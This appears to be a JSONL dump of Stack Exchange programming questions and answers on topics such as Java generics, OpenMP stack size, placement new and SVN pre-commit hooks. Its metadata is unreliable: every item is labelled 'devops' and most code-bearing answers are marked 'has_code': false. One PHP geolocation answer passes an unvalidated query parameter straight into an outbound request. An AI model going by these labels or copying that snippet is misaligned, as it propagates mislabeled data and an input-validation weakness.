{"id": "hf_33b7356e5859", "question": "<p>What is the concept of erasure in generics in Java?</p>\n", "question_body": "", "answer": "It's basically the way that generics are implemented in Java via compiler trickery. The compiled generic code\nactually\njust uses\n```\njava.lang.Object\n```\nwherever you talk about\n```\nT\n```\n(or some other type parameter) - and there's some metadata to tell the compiler that it really is a generic type.\nWhen you compile some code against a generic type or method, the compiler works out what you really mean (i.e. what the type argument for\n```\nT\n```\nis) and verifies at\ncompile\ntime that you're doing the right thing, but the emitted code again just talks in terms of\n```\njava.lang.Object\n```\n- the compiler generates extra casts where necessary. At execution time, a\n```\nList<String>\n```\nand a\n```\nList<Date>\n```\nare exactly the same; the extra type information has been\nerased\nby the compiler.\nCompare this with, say, C#, where the information is retained at execution time, allowing code to contain expressions such as\n```\ntypeof(T)\n```\nwhich is the equivalent to\n```\nT.class\n```\n- except that the latter is invalid. (There are further differences between .NET generics and Java generics, mind you.) Type erasure is the source of many of the \"odd\" warning/error messages when dealing with Java generics.\nOther resources:\nOracle documentation\nWikipedia\nGilad Bracha's Java generics guide\n(PDF - highly recommended; link may need to change periodically)\nAngelika Langer's Java Generics FAQ", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:24.020048"}
{"id": "hf_486932217f7a", "question": "<p>I have a controller that returns either JSON or partial html depending on if the user is logged in. </p>\n\n<p>Is there anyway to tell the difference once the result has been returned??\nWhat is the best way.</p>\n\n<p>Obviously i have different actions to complete if the response is json or if it is the partial html. With the json one i do a redirect to the login page, and with the html one i just display it. If only i could render the html server side and send it back in json format?? From what i have heard this cannot be done as yet. Thoughts?</p>\n\n<p>Cheers.</p>\n\n<p><strong>DUPLICATE: <a href=\"https://stackoverflow.com/questions/291466/can-i-evaluate-the-response-type-of-an-ajax-call-in-success-callback\">Can I evaluate the response type of an $.ajax() call in success callback?</a></strong></p>\n", "question_body": "", "answer": "I'd say, assuming you have control of the thing returning JSON or partial HTML, that you should change the Content-Type header of the JSON result to something like\n```\napplication/x-format-json\n```\nor an equally obvious type.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:24.055466"}
{"id": "hf_f2d3b5da7833", "question": "<p>I have two UIActionSheets and I am thinking that I will control them with one delegate (the UIViewController that instantiates them).  The delegate will capture an actionSheet call and try to figure out which of the two threw the event.</p>\n\n<p>I tried to get the modalView's title to differentiate, but it seems to be invalid...</p>\n\n<p>Should this work? </p>\n\n<p>If not, is there some other way to distinguish which UIActionSheet did the event?</p>\n\n<p>Or do I need to create two different classes that will be separate delegates for each UIActionSheet?</p>\n\n<p>Thanks in advance.</p>\n", "question_body": "", "answer": "I think you need the\ntag\nproperty of the\nUIActionSheet\n.\nSomething like:\n```\n```\nUIActionSheet *actionSheet = [[UIActionSheet alloc] initWithTitle ... ];\nactionSheet.tag = 10;\n[actionSheet showInView:self.view];\n```\n```\nThen in your delegate:\n```\n```\n- (void)actionSheet:(UIActionSheet *)actionSheet clickedButtonAtIndex:(NSInteger)buttonIndex {\n  switch (actionSheet.tag) {\n    case 10:\n      ...\n  }\n}\n```\n```\ntag\nis a property of\nUIView\nand can be set in Interface Builder for components that appear there too. Quite handy, though I've never actually used it in this context myself.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:24.104449"}
{"id": "hf_75640ea1fae5", "question": "<p>How can I differentiate a Workflow system from a normal application that automates some work? Are there any specific feature a system must have to be categorized as a workflow system?</p>\n", "question_body": "", "answer": "Workflow systems manage objects (often logically or actual electronic replacements for documents) that have an associated state. The state of an object in the system is node in a\nstate machine\n(or a\nPetri net\n).\nState transitions move an object from one state to another. The transitions can be triggered by people, automated events, timers, calendars, etc. Usually the transitions represent steps in a process in the real world.\nThat's pretty abstract, so consider an example: bug tracking software. A bug report probably starts out unvalidated, and as such is in a QA tester's queue. The QA tester will validate the report and make sure the steps are clear, grade the report for severity etc., and assign it to a developer or developer group. It is then in the developer's queue, who will ultimately fix or decide not to fix the bug, which will send it back to QA for validation. If there's a dispute over the bug, it might go into a state in which it bubbles up the management stack.\nA trivial implementation of the above is to use an enumeration for the state associated with every object, and make everybody's inbox be a query for objects with a state of a particular enumeration value.\nThat's the gist of it, but things can get more complex, such as splitting off new objects, reacting to non-human events such as timing, internal or external (i.e. third-party) services, etc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:24.128031"}
{"id": "hf_ccd8a86ffe55", "question": "<p>When I publish my ASP.NET site in RELEASE mode, and set compilation debug=\"false\", will my ASP.NET and System.Diagnostics Tracing still work?</p>\n", "question_body": "", "answer": "I believe that tracing is set separately from debugging in the configuration, so yes, if properly configured.\n```\n```\n<configuration>\n <system.web>\n  <trace enabled=\"true\" requestLimit=\"40\" localOnly=\"false\"/>\n </system.web>\n</configuration>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:24.152702"}
{"id": "hf_8c76d4f8f7a4", "question": "<p>Does anyone have any experience with doing this?  I'm working on a Java decompiler right now in C++, but would like a higher level language to do the actual transformations of the internal trees.  I'm curious if the overhead of marshaling data between languages is worth the benefit of a more expressive and language for better articulating what I'm trying to accomplish (like Haskell).  Is this actually done in the \"real world\", or is it usually pick a language at the beginning of a project and stick with it?  Any tips from those who have attempted it?</p>\n", "question_body": "", "answer": "I'm a big advocate of always choosing the right programming language for each challenge. If there is another language which handles some otherwise tricky task easily, I'd say go for it.\nDoes it happen in the real world? Yes. I am currently working on a project which is made up of both PHP and objective-c code.\nThe trick is, as you pointed out, the communication between the two languages. If at all possible, let each language stick to its own domain, and have the two sections communicate in the simplest way possible. In my case, it was XML documents sent via http. In your case, some kind of formatted text file might be the answer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:24.337802"}
{"id": "hf_89a4ff46c89a", "question": "<p>What does <code>STRAIGHT_JOIN</code> do in this code ?</p>\n\n<pre><code>SELECT  STRAIGHT_JOIN ClosingBalance    \nFROM   Accounts \nWHERE idAccounts = FidDebit;\n</code></pre>\n", "question_body": "", "answer": "From\nhere\n:\nSTRAIGHT_JOIN is similar to JOIN, except that the left table is always read before the right table. This can be used for those (few) cases for which the join optimizer puts the tables in the wrong order.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:24.361092"}
{"id": "hf_712f4e767dff", "question": "<p>What is best way to allow user to pick date from a mobile device from usability prospective?</p>\n", "question_body": "", "answer": "Are you building WAP page in asp.net? You have a DatePicker control in the mobile toolset. On devices that supports it this will render as a regular date picker (as in regular asp.net) while on more limited devices it will render as a series of selectors where you first select the year, then the month and finally the date. Unless you have a good reason to do otherwise you should use this I think.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:24.395727"}
{"id": "hf_261bae1ac2fe", "question": "<p>Hej, </p>\n\n<p>assuming I have a code that looks like this:</p>\n\n<pre><code>List&lt;User&gt; userList = GetUserByName (u =&gt; u.Name == name);\nDoSomethingWithTheUsers (userList.ToArray ());\n</code></pre>\n\n<p>Now I want to know the type of the objects in the Array in the method <em>DoSomethingWithTheUsers (object[] myObjects)</em></p>\n\n<p>Simply done by <em>myObjects.First ().GetType ()</em> but what is to be done if the array is empty?\nIs there a possibility to still get the Type?</p>\n", "question_body": "", "answer": "The array type will be an array of User, i.e. User[]. Why not just use Type.GetElementType() on the GetType() of the array? I.e. using your example:\n```\n```\nmyObjects.GetType().GetElementType()\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:24.454719"}
{"id": "hf_d0d1f303b9be", "question": "<p>I'm using a Delphi 2009 VCL TProgressBar as a kind of \"empty/full\" gauge.</p>\n\n<p>On Vista, with Aero theme enabled, this has an animation associated with it, which is annoying and inappropriate for an gauge.</p>\n\n<p>Is there any way of disabling this (NOT by adjusting user's theme settings!) to prevent the animation on this control?</p>\n\n<p>To clarify, I want something basically identical to the 'disk space used' meters in Windows Explorer. No animation, but still with a nice border and shading effects.</p>\n\n<p>Update:</p>\n\n<p>I understand that I need a \"meter\", rather than a true progress bar. How can a themed meter be implemented using the standard windows progress bar control?</p>\n", "question_body": "", "answer": "As per the\nVista UI guidelines for progress bars\nyou should not be using a TProgressBar for such purposes at all, it states:\nUse progress bars only for progress. Use meters to indicate percentages that aren't related to progress.\nThere are a lot of Third-Party components (for example\nAbakus VCL\n) that are aimed at Process Automation applications and the like, maybe you could use one of these controls instead?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:24.490929"}
{"id": "hf_292a531d134a", "question": "<p>I would like to automate the deployment of my SSIS and SSAS artifacts to remote development SQL Server 2005 &amp; 2008 instances on a scheduled basis.  </p>\n\n<p>What would be the best solution for this?  I am using TFS 2008 as the source control system, so I'd like to integrate the solution with MSBuild and a scheduled Team Build.</p>\n", "question_body": "", "answer": "SSIS is the easiest, when I was using SSIS, we stored our packages in a file and all we to do was copy the file to the correct directory in C:\\Program Files\\Microsoft SQL Server\\90\\DTS\\Packages. Which you can do by adding a Copy task to the end of your MSBuild. I am not sure if the xml will be available by default in the output directory, so watch for that.\nAs for SSAS, I never got around to automating it but, you will want to look into Analysis Management Objects (AMO), pulling from Books online it says:\nAnalysis Management Objects (AMO) provides a programmatic interface to\n  the complete command set for Analysis Services as available to the\n  developer. Therefore, AMO can be used for deployment and also to the\n  many administrative commands it otherwise supports. For more\n  information about the user of AMO to automate any kind of\n  administrative task, see Analysis Management Objects (AMO).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:24.515268"}
{"id": "hf_84dd190e9c76", "question": "<p>I don't want to have the user install Google Gears so I can show him his guessed location. Is there a way to get the location without having to use Google Gears?</p>\n\n<p>I have found <a href=\"http://www.wipmania.com/de/blog/google-geolocation-api/\" rel=\"noreferrer\">http://www.wipmania.com/de/blog/google-geolocation-api/</a> but it does not offer an example.</p>\n", "question_body": "", "answer": "This is typically called IP Geolocation.\nAn example is\nhere\n.\nThe thing is, most sites (if you plan on calling this as a web service) will charge you for it.  Otherwise, throw together a web service that grabs a geolocation page, parses it for the address, and returns that piece of information.\nIn PHP, this seems to work pretty well:\n```\n```\n<?php\n if(isset($_GET[\"ip\"])){\n   echo geolocate($_GET[\"ip\"]);\n }\n\n function geolocate($ip){\n   $raw_html = file_get_contents(\"http://www.geody.com/geoip.php?ip=$ip\");\n   if(preg_match('/Location:(.*)/',$raw_html,$matches)){\n     $location_raw = $matches[1];\n\n     //Get rid of pesky HTML tags\n     $location = preg_replace(\"/<[^>]*>/\",\"\",$location_raw);\n     return $location;\n   }else{\n     return \"ERROR\";\n   }\n }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:24.563409"}
{"id": "hf_dc632ec59c3d", "question": "<p>all! Typing from Italy\nThis little piece of code works if the matrix size is less then 800 and fails with a segmentation fault for higher sizes....\nI have tried it with gcc 4.3.2 compiler in linux and macosx and VisualStudio compiler in windows.\nSeemsthe problem is in the stack size..... how can I increase it ?\nHow can I solve the problem for bigger matrix sizes ?\nThe code works fine in serial put fails in parallel execution.\n Thanks.</p>\n\n<pre><code>#include &lt;omp.h&gt;\n#include &lt;stdio.h&gt;\n#define Nu 4000\nint main() {\nfloat A[Nu][Nu],B[Nu][Nu],C[Nu][Nu];\nint i,j;\n#pragma omp parallel\nprintf(\"Hello from thread %d, nthreads %d\\n\", omp_get_thread_num(), omp_get_num_threads());\n#pragma omp parallel for private(j,i) shared(A,B,C) schedule(static)\nfor(j=0;j&lt;Nu;j++){\nfor(i=0;i&lt;Nu;i++){\n//printf(\"Hello from thread %d, i,j %d %d\\n\", omp_get_thread_num(),i,j );\nA[i][j]=0;\nB[i][j]=0;\nC[i][j]=0;\n\n}}\n\n}\n</code></pre>\n", "question_body": "", "answer": "Default stack size in OpenMP is 4-8 MB. There's an environment variable called STACKSIZE you can change (for example to 16384, which is 16 MB). See chapter 5-5 of\nthis PDF\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:24.610744"}
{"id": "hf_8a88ebf6b8c2", "question": "<p>How to find and remove unused Delphi runtime packages from a project that uses packages?</p>\n\n<p>I have a Delphi project that is made up of several packages, in the requires part of the packages there are several Borland/3rd party packages listed (rtl.dcp, vcl.dcp ect) I know I need most of them, but there are ones I know I don't need that have crept in there over time, maybe a component used them once but then that component was removed, or maybe it was from me testing code.</p>\n\n<p>How do I find out which are needed and which are not? and if they are not needed will they still need to be distributed with the final application or have any impact on the size/ memory requirement of the app?</p>\n\n<p>I am trying to make it all as streamline as possible.</p>\n", "question_body": "", "answer": "If you specify a package to be used as runime package, all the packages that package requires need to be deployed as runtime package as well. Delphi's compiler automatically checks if this is the case. So you don't need to explicitly require rtl.dcp, as long as you require one of your other packages that does. This means you could only specify the runtime packages you are sure of you need and the rest will be added by the compiler. Then you only need to check what packages you need to deploy in the end.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:24.647524"}
{"id": "hf_1da502edc69d", "question": "<p>I have a space delimited list of files names, where spaces in the file names are prefixed by '\\'</p>\n\n<p>e.g. \"first\\ file second\\ file\"</p>\n\n<p>How can I get my regex to match each file name?</p>\n", "question_body": "", "answer": "```\n```\n(\\\\ |[^ ])+\n```\n```\nEverything except spaces, except when they're escaped.  Should work, sorry for misunderstanding your question initially.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:24.695108"}
{"id": "hf_e3a3c60df338", "question": "<p>I understand SSO as the one time login for all the applications connected. I would like to know more about SSO and how exactly it is achieved.</p>\n", "question_body": "", "answer": "This is Donnie. He's a friend of mine.\nThe basic mechanism is to trust your friend's friend.\nAnother metaphor that's used is the sticker they give you when you enter a secured building.  In the morning, you show your valid ID (credential) to the security person, and for the rest of the day, the sticker acts as the pass (token). When you come back next day, you have to show your ID again.\nKey technology is how you trust your friend or security guy or anyone in hostile network. See how Kerberos or asymmetric encryption work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:24.718598"}
{"id": "hf_05bf928d6867", "question": "<p>Are there Windows API functions that allows reading what the current password policy is?  For instance, minimum length, complexity etc.</p>\n\n<p>If not reading, is there a way to verify a password against the policy programmatically?</p>\n", "question_body": "", "answer": "See\nSecurity Watch Windows Domain Password Policies\n. You can hit AD using\nADSI\nor its wrappers. I found a\nVBScript sample\n. You can translate it to any language you want:\n```\n```\nSub ListPasswordPolicyInfo( strDomain )\n    Dim objComputer\n    Set objComputer = GetObject(\"WinNT://\" & strDomain )\n    WScript.Echo \"MinPasswordAge: \" &  ((objComputer.MinPasswordAge) / 86400)\n    WScript.Echo \"MinPasswordLength: \" &  objComputer.MinPasswordLength\n    WScript.Echo \"PasswordHistoryLength: \" &  objComputer.PasswordHistoryLength\n    WScript.Echo \"AutoUnlockInterval: \" &  objComputer.AutoUnlockInterval\n    WScript.Echo \"LockOutObservationInterval: \" &  objComputer.LockOutObservationInterval\nEnd Sub\n\nDim strDomain\nDo\n    strDomain = inputbox( \"Please enter a domainname\", \"Input\" )\nLoop until strDomain <> \"\"\n\nListPasswordPolicyInfo( strDomain )\n```\n```\nAs a bonus, check out\nLDAP Admin\n. It's an open source LDAP directory editor, which you can use to test things, and also checkout the code written in Delphi.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:24.741989"}
{"id": "hf_a0ef649ce2d5", "question": "<p>I need to deploy a web application on several laptops (although it is a web application, it is intended to run via <code>localhost</code> only - thus the need to deploy on several different machines).</p>\n\n<p>Normally I would go to IIS and right click a directory to create a web application, but I would very much like to automate this leg of the installation. Can it be done?</p>\n\n<p><strong>I want to use IIS, but I want to create the web application automatically without opening the IIS Microsoft Management Console (MMC).</strong></p>\n", "question_body": "", "answer": "To implement a minimal web server you can use HTTP.SYS (the core component of IIS deployed with Windows XP SP2 or higher). In .NET this can be done e.g. by using the HttpListener class in the\nSystem.Net\nnamespace.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:24.770007"}
{"id": "hf_992646c9b69a", "question": "<p>After creating a instance of a class, can we invoke the constructor explicitly?\nFor example</p>\n\n<pre><code>class A{\n    A(int a)\n    {\n    }\n}\n\nA instance;\n\ninstance.A(2);\n</code></pre>\n\n<p>Can we do this?</p>\n", "question_body": "", "answer": "You can use\nplacement new\n, which permits\n```\n```\nnew (&instance) A(2);\n```\n```\nHowever, from your example you'd be calling a constructor on an object twice which is very bad practice. Instead I'd recommend you just do\n```\n```\nA instance(2);\n```\n```\nPlacement new is usually only used when you need to pre-allocate the memory (e.g. in a custom memory manager) and construct the object later.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:24.806539"}
{"id": "hf_e3d952d602f3", "question": "<p>Using ICU 4.0 regex library, I find that the following regex is exhibiting exponential time:</p>\n\n<pre><code>actual: \"[^&lt;]*&lt;\\?\"\nC code: \"[^&lt;]*&lt;\\\\?\"\n</code></pre>\n\n<p>Aim: find \"&lt;?\" where there is no other \"&lt;\" before it</p>\n\n<p>When running this regex on plain text with no \"&lt;\" characters at all it appears to take exponential time. If the text has at least a single \"&lt;\" then it is quick. I don't understand why. </p>\n\n<p>Shouldn't the required match on \"&lt;?\" prevent this from needing to backtrack? I would have thought that it would try to find the first \"&lt;\" and then test the rest of the expression. If it can't find a \"&lt;\" then it would give up because the pattern obviously can't match.</p>\n\n<p>Is this a bug in the ICU regex or is it expected?</p>\n", "question_body": "", "answer": "The regex engine isn't that smart. It will try to match from\nevery\nposition, and\neach\ntime seach for\n```\n<?\n```\nfrom the end, and backtrack until the start of the match-attempt. This gives a quadratic time complexity, O(\nn\n2\n).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:24.849501"}
{"id": "hf_7a4c4c605440", "question": "<p>At the moment, I have some functions which look like this:</p>\n\n<pre><code>private bool inFunction1 = false;\npublic void function1()\n{\n    if (inFunction1) return;\n    inFunction1 = true;\n\n    // do stuff which might cause function1 to get called\n    ...\n\n    inFunction1 = false;\n}\n</code></pre>\n\n<p>I'd like to be able to declare them like this:</p>\n\n<pre><code>[NoReEntry]\npublic void function1()\n{\n    // do stuff which might cause function1 to get called\n    ...\n}\n</code></pre>\n\n<p>Is there an attribute I can add to a function to prevent reentry?  If not, how would I go about making one?  I've heard about AOP attributes that can be used to add code before and after function calls; would they be suitable?</p>\n", "question_body": "", "answer": "There is no such attribute predefined. You can make new attributes, but that won't help you. The issue is making the custom attribute prevent the method being called again, which I don't think is doable.\nThe lock statement is not what you want, since that will cause calls to block and wait, not return immediately.\nPS: use a try ... finally block in the above sample. Otherwise, if an exception is thrown in the middle of the function, inFunction1 will be left true and all calls will return immediately.\ne.g. :\n```\n```\nif (inFunction1) \n   return;\n\ntry\n{\n  inFunction1 = true;\n\n  // do stuff which might cause function1 to get called\n  ...\n}\nfinally \n{\n  inFunction1 = false;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:24.873657"}
{"id": "hf_e2279845531f", "question": "<p>I have a Java Swing application, developed on Mac OS X 10.5 using Java 1.5.</p>\n\n<p>I'm trying to make a custom cursor appear when the user moves the mouse over some text in a dialog. The cursor never changes, though. </p>\n\n<p>When I don't use a JFrame instead of a JDialog, the cursor does change. But then I'll have to write all the dialog code myself.</p>\n\n<p>How can I get the cursor to appear?</p>\n\n<p>Here's the simplest code I could create to demonstrate the problem:</p>\n\n<pre><code>import javax.swing.*;\nimport java.awt.*;\n\npublic class CursorTest {\n\n    public static void main(String[] args) {\n        JLabel label = new JLabel(\"Move mouse here for hand cursor\");\n        label.setCursor(Cursor.getPredefinedCursor(Cursor.HAND_CURSOR));\n        JOptionPane pane = new JOptionPane(label);\n        pane.setOptions(new Object[]{\"OK\"});\n\n        JDialog dialog = pane.createDialog(null, \"Test Dialog\");\n        dialog.setVisible(true);\n    }\n}\n</code></pre>\n", "question_body": "", "answer": "Looks like it is a bug in Java 1.5: I first tried with Java 1.6.0_07 and it worked as expected (on Windows XP). Then I recompiled with Java 1.5.0_06 and indeed the cursor remains in default state.\nKnowing the difficulties of Java 1.6 on MacOS, I see it will be hard to fix that...\nBug ID: 5079694 JDialog doesn't respect setCursor\nThey give a workaround...\n[EDIT] Tested workaround:\n```\n```\npublic class CursorTest extends JFrame\n{\n  private CursorTest()\n  {\n  }\n\n  private void ShowDialog()\n  {\n        JLabel label = new JLabel(\"Move mouse here for hand cursor\");\n        label.setCursor(Cursor.getPredefinedCursor(Cursor.HAND_CURSOR));\n        JOptionPane pane = new JOptionPane(label);\n        pane.setOptions(new Object[] { \"OK\" } );\n\n        JDialog dialog = pane.createDialog(this, \"Test Dialog\");\n        dialog.setVisible(true);\n  }\n\n  public static void main(String[] args)\n  {\n    SwingUtilities.invokeLater(new Runnable()\n    {\n      public void run()\n      {\n        CursorTest testFrame = new CursorTest();\n        testFrame.setTitle(\"Test GUI\");\n        testFrame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);\n        testFrame.setSize(500, 300);\n        testFrame.setVisible(true);\n        testFrame.ShowDialog();\n      }\n    });\n  }\n}\n```\n```\nWorks fine with my JDK & system.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:24.898769"}
{"id": "hf_0b1725cf1957", "question": "<p>I've got a 1-based array of four items which I need to traverse. For a given index in the array, I need to work out the index of the next item, and the index of the previous item. This sounds simple but the array needs to wrap around. So when you are at the beginning of the array, the previous item is considered to be the last item. Likewise, if you are at the end of the array, the next item is considered to be the first item.</p>\n\n<p>I realise this can be solved by using conditional statements, but I wondered if it was possible to do it using mathematical equations. I've got one that works nicely for the next item</p>\n\n<pre><code>NextItem = Modulus(CurrentItem, 4) + 1\n</code></pre>\n\n<p>(the modulus function returns the remainder of one number divided by another).</p>\n\n<p>Has anyone got any ideas as to how I can work out the previous item?</p>\n", "question_body": "", "answer": "Since modulo always works better on 0-based ranges, you can turn it into one of these using\n```\nCurrentItem - 1\n```\n.\nThen, with modulo 4, adding 3 is the same as subtracting 1 but has the advantage of never going negative (some modulo operators may not like negatives).\nThen you once again add 1 to get back to a 1-based number.\nThis gives:\n```\n```\nPrevItem = Modulus(CurrentItem - 1 + 3, 4) + 1\n```\n```\nor, simplified:\n```\n```\nPrevItem = Modulus(CurrentItem + 2, 4) + 1\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:24.923478"}
{"id": "hf_bf3aa9745c1f", "question": "<pre><code>class Score\n{\n    var $score;\n    var $name;\n    var $dept;\n    var $date;\n\n    function Score($score, $name, $dept, $date)\n    {\n        $this-&gt;scores = ($score);\n        $this-&gt;name = ($name);\n        $this-&gt;dept = ($dept);\n        $this-&gt;date = ($date);\n    }\n\n    function return_score(){\n        return $this-&gt;scores;\n        return $this-&gt;name;\n        return $this-&gt;dept;\n        return $this-&gt;date;\n    }\n}\n\n$newscore = new Score(\"131313\",\"James\", \"Marketing\", \"19/05/2008\");\necho $newscore-&gt;return_score();\n</code></pre>\n\n<p>The above code is only echoing 131313. I am just beginning to learn OO PHP so please go easy! Totally lost, so any help would be much appreciated.</p>\n", "question_body": "", "answer": "You can only return one value in each function or method.\nIn your situation, you should have a method for each of the class members:\n```\n```\npublic function getScore() {\n   return $this->score;\n}\n\npublic function getName() {\n   return $this->name;\n}\n\npublic function getDept() {\n   return $this->dept;\n}\n\npublic function getDate() {\n   return $this->date;\n}\n```\n```\nEdit after the comments:\nYou could also need a method that returns all the members as a single string:\n```\n```\npublic function getAll() {\n   return $this->getScore(). \" \" .$this->getName() . \" \" .$this->getDept(). \" \" .$this->getDate();\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:24.947909"}
{"id": "hf_5dbfd3ed78bd", "question": "<p>I am working in a project where there are configuration files, one in number for each of the environments where the application would be deployed.</p>\n\n<p>When a developer modifies one of these files, the developer should not be allowed to check-in the file individually, but check-in all the files together or at least the developer should be informed that this needs to be done.</p>\n\n<p>How can we achieve it?</p>\n", "question_body": "", "answer": "I would think you could write a pre-commit hook to do this - just have a list of files where if one is committed then they must all be committed.\nYou can write hooks in any language that you can write a command-line application in.  The only gotcha is that they run in the context of the SVN server, and (at least traditionally, I don't know if this is improved), they aren't given much environment when they start - you can be caught out by a lack of 'PATH' for example.\nYour repository will have example batchfile/shell-script hooks in the 'hooks' directory, but I've also written them in C# in the past.\nThis\nhttp://wordaligned.org/articles/a-subversion-pre-commit-hook\nlooks like a good general introduction to pre-commit hooks.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:25.009806"}
